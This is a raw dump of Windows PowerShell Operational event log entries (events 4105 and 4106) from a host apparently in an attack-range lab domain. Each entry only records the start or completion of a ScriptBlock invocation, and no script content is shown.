OpCode=On create calls
RecordNumber=2049608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049607
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049583
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049581
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049580
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049563
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049557
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
